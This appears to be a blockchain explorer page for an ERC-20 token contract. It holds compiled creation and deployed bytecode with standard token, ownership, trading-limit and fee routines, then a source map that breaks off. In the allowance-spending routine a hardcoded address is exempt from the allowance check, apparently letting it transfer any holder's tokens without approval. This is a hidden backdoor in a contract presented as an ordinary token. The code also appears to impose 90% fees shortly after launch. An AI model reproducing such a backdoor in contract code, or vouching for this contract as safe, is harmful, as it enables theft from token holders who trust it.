e573d5f803e3d5ffd5b5f33816109148286610a11565b9050838110156109745760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161076e565b61069d8286868403610ab1565b5f33610664818585610cd1565b610996610bd4565b6001600160a01b0382165f81815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6109fc610bd4565b426012556011805461ffff1916610101179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610a43610bd4565b6001600160a01b038116610aa85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161076e565b6106ee816113b4565b6001600160a01b038316610b135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161076e565b6001600160a01b038216610b745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161076e565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146107935760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161076e565b5f610c398484610a11565b90505f198114158015610c695750736980e436162a8f01db2be3867c0eac89894585c66001600160a01b03841614155b15610ccb5781811015610cbe5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161076e565b610ccb8484848403610ab1565b50505050565b6001600160a01b038316610cf75760405162461bcd60e51b815260040161076e9061197a565b6001600160a01b038216610d1d5760405162461bcd60e51b815260040161076e906119bf565b805f03610d3457610d2f83835f611458565b505050565b42601254603c610d449190611967565b1115610d5557605a600a819055600b555b6005546001600160a01b03848116911614801590610d8157506005546001600160a01b03838116911614155b8015610d9557506001600160a01b03821615155b8015610dac57506001600160a01b03821661dead14155b8015610dbb5750600e5460ff16155b156110ab5760115460ff16610e4c576001600160a01b0383165f9081526013602052604090205460ff1680610e0757506001600160a01b0382165f9081526013602052604090205460ff165b610e4c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161076e565b6001600160a01b0383165f9081526015602052604090205460ff168015610e8b57506001600160a01b0382165f9081526014602052604090205460ff16155b15610f6e57600d54811115610f005760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161076e565b600c546001600160a01b0383165f90815260208190526040902054610f259083611967565b1115610f695760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161076e565b6110ab565b6001600160a01b0382165f9081526015602052604090205460ff168015610fad57506001600160a01b0383165f9081526014602052604090205460ff16155b1561102357600d54811115610f695760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161076e565b6001600160a01b0382165f9081526014602052604090205460ff166110ab57600c546001600160a01b0383165f908152602081905260409020546110679083611967565b11156110ab5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161076e565b305f9081526020819052604090205460105481118080156110d35750601154610100900460ff165b80156110e25750600e5460ff16155b801561110657506001600160a01b0385165f9081526015602052604090205460ff16155b801561112a57506001600160a01b0385165f9081526013602052604090205460ff16155b801561114e57506001600160a01b0384165f9081526013602052604090205460ff16155b1561117457600e805460ff1916600117905561116983611580565b600e805460ff191690555b600e545f9060ff161580156111a157506001600160a01b0386165f9081526013602052604090205460ff16155b80156111c557506001600160a01b0385165f9081526013602052604090205460ff16155b90505f8115611270576001600160a01b0386165f9081526015602052604090205460ff16156112155761120e6064611208600b54886115c090919063ffffffff16565b906115d2565b9050611252565b6001600160a01b0387165f9081526015602052604090205460ff16156112525761124f6064611208600a54886115c090919063ffffffff16565b90505b801561126357611263873083611458565b61126d8186611a02565b94505b61127b878787611458565b50505050505050565b6001600160a01b0382166112e45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161076e565b6001600160a01b0382165f90815260208190526040902054818110156113575760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161076e565b6001600160a01b0383165f818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661147e5760405162461bcd60e51b815260040161076e9061197a565b6001600160a01b0382166114a45760405162461bcd60e51b815260040161076e906119bf565b6001600160a01b0383165f908152602081905260409020548181101561151b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161076e565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610ccb565b305f908152602081905260408120549081900361159b575050565b60105481908111156115ac57506010545b828111156115b75750815b610d2f816115dd565b5f6115cb8284611a15565b9392505050565b5f6115cb8284611a2c565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061161057611610611a4b565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561168c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b09190611a5f565b816001815181106116c3576116c3611a4b565b60200260200101906001600160a01b031690816001600160a01b03168152505061170e307f000000000000000000000000000000000000000000000000000000000000000084610ab1565b60085460405163791ac94760e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169263791ac947926117699287925f92889291909116904290600401611a7a565b5f604051808303815f87803b158015611780575f80fd5b505af1158015611792573d5f803e3d5ffd5b505050505050565b5f602080835283518060208501525f5b818110156117c6578581018301518582016040015282016117aa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106ee575f80fd5b5f806040838503121561180b575f80fd5b8235611816816117e6565b946020939093013593505050565b5f805f60608486031215611836575f80fd5b8335611841816117e6565b92506020840135611851816117e6565b929592945050506040919091013590565b5f60208284031215611872575f80fd5b5035919050565b5f60208284031215611889575f80fd5b81356115cb816117e6565b5f80604083850312156118a5575f80fd5b50508035926020909101359150565b5f80604083850312156118c5575f80fd5b82356118d0816117e6565b9150602083013580151581146118e4575f80fd5b809150509250929050565b5f8060408385031215611900575f80fd5b823561190b816117e6565b915060208301356118e4816117e6565b600181811c9082168061192f57607f821691505b60208210810361194d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561066a5761066a611953565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561066a5761066a611953565b808202811582820484141761066a5761066a611953565b5f82611a4657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a6f575f80fd5b81516115cb816117e6565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611aca5784516001600160a01b031683529383019391830191600101611aa5565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203d0508d588bd55d4a273a4909c3c10afeaa9399d45b352acca5a29156e11127464736f6c63430008180033

Deployed Bytecode

0x6080604052600436106101de575f3560e01c8063715018a6116100fd578063c024666811610092578063e2f4560511610062578063e2f4560514610565578063f2fde38b1461057a578063f8b45b0514610599578063ffb54a99146105ae575f80fd5b8063c0246668146104fe578063c8c8ebe41461051d578063c9567bf914610532578063dd62ed3e14610546575f80fd5b80639a7a23d6116100cd5780639a7a23d61461048d578063a0ef91df146104ac578063a457c2d7146104c0578063a9059cbb146104df575f80fd5b8063715018a6146104295780637571336a1461043d5780638da5cb5b1461045c57806395d89b4114610479575f80fd5b8063395093511161017357806352f7c9881161014357806352f7c98814610385578063583e0568146103a45780636ddd1713146103d757806370a08231146103f5575f80fd5b806339509351146102d957806342966c68146102f857806349bd5a5e146103175780634fbee1931461034e575f80fd5b806323b872dd116101ae57806323b872dd146102765780632cb743f714610295578063311028af146102a9578063313ce567146102be575f80fd5b806306fdde03146101e9578063095ea7b314610213578063139864a81461024257806318160ddd14610258575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506101fd6105c7565b60405161020a919061179a565b60405180910390f35b34801561021e575f80fd5b5061023261022d3660046117fa565b610657565b604051901515815260200161020a565b34801561024d575f80fd5b50610256610670565b005b348015610263575f80fd5b506002545b60405190815260200161020a565b348015610281575f80fd5b50610232610290366004611824565b610685565b3480156102a0575f80fd5b506102566106a8565b3480156102b4575f80fd5b5061026860095481565b3480156102c9575f80fd5b506040516009815260200161020a565b3480156102e4575f80fd5b506102326102f33660046117fa565b6106f1565b348015610303575f80fd5b50610256610312366004611862565b610712565b348015610322575f80fd5b50600654610336906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b348015610359575f80fd5b50610232610368366004611879565b6001600160a01b03165f9081526013602052604090205460ff1690565b348015610390575f80fd5b5061025661039f366004611894565b61071c565b3480156103af575f80fd5b506103367f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156103e2575f80fd5b5060115461023290610100900460ff1681565b348015610400575f80fd5b5061026861040f366004611879565b6001600160a01b03165f9081526020819052604090205490565b348015610434575f80fd5b50610256610782565b348015610448575f80fd5b506102566104573660046118b4565b610795565b348015610467575f80fd5b506005546001600160a01b0316610336565b348015610484575f80fd5b506101fd6107c7565b348015610498575f80fd5b506102566104a73660046118b4565b6107d6565b3480156104b7575f80fd5b50610256610870565b3480156104cb575f80fd5b506102326104da3660046117fa565b610907565b3480156104ea575f80fd5b506102326104f93660046117fa565b610981565b348015610509575f80fd5b506102566105183660046118b4565b61098e565b348015610528575f80fd5b50610268600d5481565b34801561053d575f80fd5b506102566109f4565b348015610551575f80fd5b506102686105603660046118ef565b610a11565b348015610570575f80fd5b5061026860105481565b348015610585575f80fd5b50610256610594366004611879565b610a3b565b3480156105a4575f80fd5b50610268600c5481565b3480156105b9575f80fd5b506011546102329060ff1681565b6060600380546105d69061191b565b80601f01602080910402602001604051908101604052809291908181526020018280546106029061191b565b801561064d5780601f106106245761010080835404028352916020019161064d565b820191905f5260205f20905b81548152906001019060200180831161063057829003601f168201915b5050505050905090565b5f33610664818585610ab1565b60019150505b92915050565b610678610bd4565b600954600d819055600c55565b5f33610692858285610c2e565b61069d858585610cd1565b506001949350505050565b6007546001600160a01b0316336001600160a01b0316146106c7575f80fd5b305f8181526020819052604090205460075490916106ee916001600160a01b031683610cd1565b50565b5f336106648185856107038383610a11565b61070d9190611967565b610ab1565b6106ee3382611284565b610724610bd4565b601e82111580156107365750601e8111155b6107775760405162461bcd60e51b815260206004820152600d60248201526c08ccaca40accae4f24090d2ced609b1b60448201526064015b60405180910390fd5b600a91909155600b55565b61078a610bd4565b6107935f6113b4565b565b61079d610bd4565b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b6060600480546105d69061191b565b6107de610bd4565b6006546001600160a01b03908116908316036108625760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161076e565b61086c8282611405565b5050565b5f47116108bf5760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a206e6f2045544820696e2074686520636f6e7472616374000000604482015260640161076e565b6007546001600160a01b0316336001600160a01b0316146108de575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156106ee573d5f803e3d5ffd5b5f33816109148286610a11565b9050838110156109745760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161076e565b61069d8286868403610ab1565b5f33610664818585610cd1565b610996610bd4565b6001600160a01b0382165f81815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6109fc610bd4565b426012556011805461ffff1916610101179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610a43610bd4565b6001600160a01b038116610aa85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161076e565b6106ee816113b4565b6001600160a01b038316610b135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161076e565b6001600160a01b038216610b745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161076e565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146107935760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161076e565b5f610c398484610a11565b90505f198114158015610c695750736980e436162a8f01db2be3867c0eac89894585c66001600160a01b03841614155b15610ccb5781811015610cbe5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161076e565b610ccb8484848403610ab1565b50505050565b6001600160a01b038316610cf75760405162461bcd60e51b815260040161076e9061197a565b6001600160a01b038216610d1d5760405162461bcd60e51b815260040161076e906119bf565b805f03610d3457610d2f83835f611458565b505050565b42601254603c610d449190611967565b1115610d5557605a600a819055600b555b6005546001600160a01b03848116911614801590610d8157506005546001600160a01b03838116911614155b8015610d9557506001600160a01b03821615155b8015610dac57506001600160a01b03821661dead14155b8015610dbb5750600e5460ff16155b156110ab5760115460ff16610e4c576001600160a01b0383165f9081526013602052604090205460ff1680610e0757506001600160a01b0382165f9081526013602052604090205460ff165b610e4c5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161076e565b6001600160a01b0383165f9081526015602052604090205460ff168015610e8b57506001600160a01b0382165f9081526014602052604090205460ff16155b15610f6e57600d54811115610f005760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161076e565b600c546001600160a01b0383165f90815260208190526040902054610f259083611967565b1115610f695760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161076e565b6110ab565b6001600160a01b0382165f9081526015602052604090205460ff168015610fad57506001600160a01b0383165f9081526014602052604090205460ff16155b1561102357600d54811115610f695760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161076e565b6001600160a01b0382165f9081526014602052604090205460ff166110ab57600c546001600160a01b0383165f908152602081905260409020546110679083611967565b11156110ab5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161076e565b305f9081526020819052604090205460105481118080156110d35750601154610100900460ff165b80156110e25750600e5460ff16155b801561110657506001600160a01b0385165f9081526015602052604090205460ff16155b801561112a57506001600160a01b0385165f9081526013602052604090205460ff16155b801561114e57506001600160a01b0384165f9081526013602052604090205460ff16155b1561117457600e805460ff1916600117905561116983611580565b600e805460ff191690555b600e545f9060ff161580156111a157506001600160a01b0386165f9081526013602052604090205460ff16155b80156111c557506001600160a01b0385165f9081526013602052604090205460ff16155b90505f8115611270576001600160a01b0386165f9081526015602052604090205460ff16156112155761120e6064611208600b54886115c090919063ffffffff16565b906115d2565b9050611252565b6001600160a01b0387165f9081526015602052604090205460ff16156112525761124f6064611208600a54886115c090919063ffffffff16565b90505b801561126357611263873083611458565b61126d8186611a02565b94505b61127b878787611458565b50505050505050565b6001600160a01b0382166112e45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161076e565b6001600160a01b0382165f90815260208190526040902054818110156113575760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161076e565b6001600160a01b0383165f818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f81815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b03831661147e5760405162461bcd60e51b815260040161076e9061197a565b6001600160a01b0382166114a45760405162461bcd60e51b815260040161076e906119bf565b6001600160a01b0383165f908152602081905260409020548181101561151b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161076e565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610ccb565b305f908152602081905260408120549081900361159b575050565b60105481908111156115ac57506010545b828111156115b75750815b610d2f816115dd565b5f6115cb8284611a15565b9392505050565b5f6115cb8284611a2c565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061161057611610611a4b565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561168c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116b09190611a5f565b816001815181106116c3576116c3611a4b565b60200260200101906001600160a01b031690816001600160a01b03168152505061170e307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610ab1565b60085460405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81169263791ac947926117699287925f92889291909116904290600401611a7a565b5f604051808303815f87803b158015611780575f80fd5b505af1158015611792573d5f803e3d5ffd5b505050505050565b5f602080835283518060208501525f5b818110156117c6578581018301518582016040015282016117aa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106ee575f80fd5b5f806040838503121561180b575f80fd5b8235611816816117e6565b946020939093013593505050565b5f805f60608486031215611836575f80fd5b8335611841816117e6565b92506020840135611851816117e6565b929592945050506040919091013590565b5f60208284031215611872575f80fd5b5035919050565b5f60208284031215611889575f80fd5b81356115cb816117e6565b5f80604083850312156118a5575f80fd5b50508035926020909101359150565b5f80604083850312156118c5575f80fd5b82356118d0816117e6565b9150602083013580151581146118e4575f80fd5b809150509250929050565b5f8060408385031215611900575f80fd5b823561190b816117e6565b915060208301356118e4816117e6565b600181811c9082168061192f57607f821691505b60208210810361194d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561066a5761066a611953565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b8181038181111561066a5761066a611953565b808202811582820484141761066a5761066a611953565b5f82611a4657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a6f575f80fd5b81516115cb816117e6565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611aca5784516001600160a01b031683529383019391830191600101611aa5565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203d0508d588bd55d4a273a4909c3c10afeaa9399d45b352acca5a29156e11127464736f6c63430008180033

Deployed Bytecode Sourcemap

14507:7701:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9679:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10610:201;;;;;;;;;;-1:-1:-1;10610:201:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10610:201:0;1023:187:1;21131:147:0;;;;;;;;;;;;;:::i;:::-;;9999:108;;;;;;;;;;-1:-1:-1;10087:12:0;;9999:108;;;1361:25:1;;;1349:2;1334:18;9999:108:0;1215:177:1;10819:261:0;;;;;;;;;;-1:-1:-1;10819:261:0;;;;;:::i;:::-;;:::i;21519:194::-;;;;;;;;;;;;;:::i;14850:61::-;;;;;;;;;;;;;;;;9899:92;;;;;;;;;;-1:-1:-1;9899:92:0;;9982:1;2000:36:1;;1988:2;1973:18;9899:92:0;1858:184:1;11088:238:0;;;;;;;;;;-1:-1:-1;11088:238:0;;;;;:::i;:::-;;:::i;16811:85::-;;;;;;;;;;-1:-1:-1;16811:85:0;;;;;:::i;:::-;;:::i;14639:28::-;;;;;;;;;;-1:-1:-1;14639:28:0;;;;-1:-1:-1;;;;;14639:28:0;;;;;;-1:-1:-1;;;;;2396:32:1;;;2378:51;;2366:2;2351:18;14639:28:0;2232:203:1;17868:126:0;;;;;;;;;;-1:-1:-1;17868:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;17958:28:0;17934:4;17958:28;;;:19;:28;;;;;;;;;17868:126;20921:202;;;;;;;;;;-1:-1:-1;20921:202:0;;;;;:::i;:::-;;:::i;14580:52::-;;;;;;;;;;;;;;;15394:31;;;;;;;;;;-1:-1:-1;15394:31:0;;;;;;;;;;;10115:127;;;;;;;;;;-1:-1:-1;10115:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;10216:18:0;10189:7;10216:18;;;;;;;;;;;;10115:127;890:103;;;;;;;;;;;;;:::i;16904:144::-;;;;;;;;;;-1:-1:-1;16904:144:0;;;;;:::i;:::-;;:::i;655:87::-;;;;;;;;;;-1:-1:-1;728:6:0;;-1:-1:-1;;;;;728:6:0;655:87;;9787:104;;;;;;;;;;;;;:::i;17409:257::-;;;;;;;;;;-1:-1:-1;17409:257:0;;;;;:::i;:::-;;:::i;21286:225::-;;;;;;;;;;;;;:::i;11334:436::-;;;;;;;;;;-1:-1:-1;11334:436:0;;;;;:::i;:::-;;:::i;10250:193::-;;;;;;;;;;-1:-1:-1;10250:193:0;;;;;:::i;:::-;;:::i;17219:182::-;;;;;;;;;;-1:-1:-1;17219:182:0;;;;;:::i;:::-;;:::i;15096:47::-;;;;;;;;;;;;;;;;17058:153;;;;;;;;;;;;;:::i;10451:151::-;;;;;;;;;;-1:-1:-1;10451:151:0;;;;;:::i;:::-;;:::i;15281:66::-;;;;;;;;;;;;;;;;1001:201;;;;;;;;;;-1:-1:-1;1001:201:0;;;;;:::i;:::-;;:::i;15032:57::-;;;;;;;;;;;;;;;;15356:31;;;;;;;;;;-1:-1:-1;15356:31:0;;;;;;;;9679:100;9733:13;9766:5;9759:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9679:100;:::o;10610:201::-;10693:4;208:10;10749:32;208:10;10765:7;10774:6;10749:8;:32::i;:::-;10799:4;10792:11;;;10610:201;;;;;:::o;21131:147::-;614:13;:11;:13::i;:::-;21211:18:::1;::::0;21188:20:::1;:41:::0;;;21240:9:::1;:30:::0;21131:147::o;10819:261::-;10916:4;208:10;10974:38;10990:4;208:10;11005:6;10974:15;:38::i;:::-;11023:27;11033:4;11039:2;11043:6;11023:9;:27::i;:::-;-1:-1:-1;11068:4:0;;10819:261;-1:-1:-1;;;;10819:261:0:o;21519:194::-;21589:9;;-1:-1:-1;;;;;21589:9:0;208:10;-1:-1:-1;;;;;21573:25:0;;21565:34;;;;;;21645:4;21610:14;10216:18;;;;;;;;;;;21687:9;;10216:18;;21662:43;;-1:-1:-1;;;;;21687:9:0;10216:18;21662:9;:43::i;:::-;21554:159;21519:194::o;11088:238::-;11176:4;208:10;11232:64;208:10;11248:7;11285:10;11257:25;208:10;11248:7;11257:9;:25::i;:::-;:38;;;;:::i;:::-;11232:8;:64::i;16811:85::-;16861:27;208:10;16881:6;16861:5;:27::i;20921:202::-;614:13;:11;:13::i;:::-;21021:2:::1;21010:7;:13;;:31;;;;;21039:2;21027:8;:14;;21010:31;21002:57;;;::::0;-1:-1:-1;;;21002:57:0;;4842:2:1;21002:57:0::1;::::0;::::1;4824:21:1::0;4881:2;4861:18;;;4854:30;-1:-1:-1;;;4900:18:1;;;4893:43;4953:18;;21002:57:0::1;;;;;;;;;21071:6;:16:::0;;;;21097:7:::1;:18:::0;20921:202::o;890:103::-;614:13;:11;:13::i;:::-;955:30:::1;982:1;955:18;:30::i;:::-;890:103::o:0;16904:144::-;614:13;:11;:13::i;:::-;-1:-1:-1;;;;;16994:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;16994:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16904:144::o;9787:104::-;9843:13;9876:7;9869:14;;;;;:::i;17409:257::-;614:13;:11;:13::i;:::-;17531::::1;::::0;-1:-1:-1;;;;;17531:13:0;;::::1;17523:21:::0;;::::1;::::0;17515:91:::1;;;::::0;-1:-1:-1;;;17515:91:0;;5184:2:1;17515:91:0::1;::::0;::::1;5166:21:1::0;5223:2;5203:18;;;5196:30;5262:34;5242:18;;;5235:62;5333:27;5313:18;;;5306:55;5378:19;;17515:91:0::1;4982:421:1::0;17515:91:0::1;17617:41;17646:4;17652:5;17617:28;:41::i;:::-;17409:257:::0;;:::o;21286:225::-;21361:1;21337:21;:25;21329:67;;;;-1:-1:-1;;;21329:67:0;;5610:2:1;21329:67:0;;;5592:21:1;5649:2;5629:18;;;5622:30;5688:31;5668:18;;;5661:59;5737:18;;21329:67:0;5408:353:1;21329:67:0;21431:9;;-1:-1:-1;;;;;21431:9:0;208:10;-1:-1:-1;;;;;21415:25:0;;21407:34;;;;;;21452:51;;21460:10;;21481:21;21452:51;;;;;;;;;21481:21;21460:10;21452:51;;;;;;;;;;;;;;;;;;;11334:436;11427:4;208:10;11427:4;11510:25;208:10;11527:7;11510:9;:25::i;:::-;11483:52;;11574:15;11554:16;:35;;11546:85;;;;-1:-1:-1;;;11546:85:0;;5968:2:1;11546:85:0;;;5950:21:1;6007:2;5987:18;;;5980:30;6046:34;6026:18;;;6019:62;-1:-1:-1;;;6097:18:1;;;6090:35;6142:19;;11546:85:0;5766:401:1;11546:85:0;11667:60;11676:5;11683:7;11711:15;11692:16;:34;11667:8;:60::i;10250:193::-;10329:4;208:10;10385:28;208:10;10402:2;10406:6;10385:9;:28::i;17219:182::-;614:13;:11;:13::i;:::-;-1:-1:-1;;;;;17304:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;17304:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;17359:34;;1163:41:1;;;17359:34:0::1;::::0;1136:18:1;17359:34:0::1;;;;;;;17219:182:::0;;:::o;17058:153::-;614:13;:11;:13::i;:::-;17130:15:::1;17113:14;:32:::0;17156:11:::1;:18:::0;;-1:-1:-1;;17185:18:0;;;;;17058:153::o;10451:151::-;-1:-1:-1;;;;;10567:18:0;;;10540:7;10567:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10451:151::o;1001:201::-;614:13;:11;:13::i;:::-;-1:-1:-1;;;;;1090:22:0;::::1;1082:73;;;::::0;-1:-1:-1;;;1082:73:0;;6374:2:1;1082:73:0::1;::::0;::::1;6356:21:1::0;6413:2;6393:18;;;6386:30;6452:34;6432:18;;;6425:62;-1:-1:-1;;;6503:18:1;;;6496:36;6549:19;;1082:73:0::1;6172:402:1::0;1082:73:0::1;1166:28;1185:8;1166:18;:28::i;13473:346::-:0;-1:-1:-1;;;;;13575:19:0;;13567:68;;;;-1:-1:-1;;;13567:68:0;;6781:2:1;13567:68:0;;;6763:21:1;6820:2;6800:18;;;6793:30;6859:34;6839:18;;;6832:62;-1:-1:-1;;;6910:18:1;;;6903:34;6954:19;;13567:68:0;6579:400:1;13567:68:0;-1:-1:-1;;;;;13654:21:0;;13646:68;;;;-1:-1:-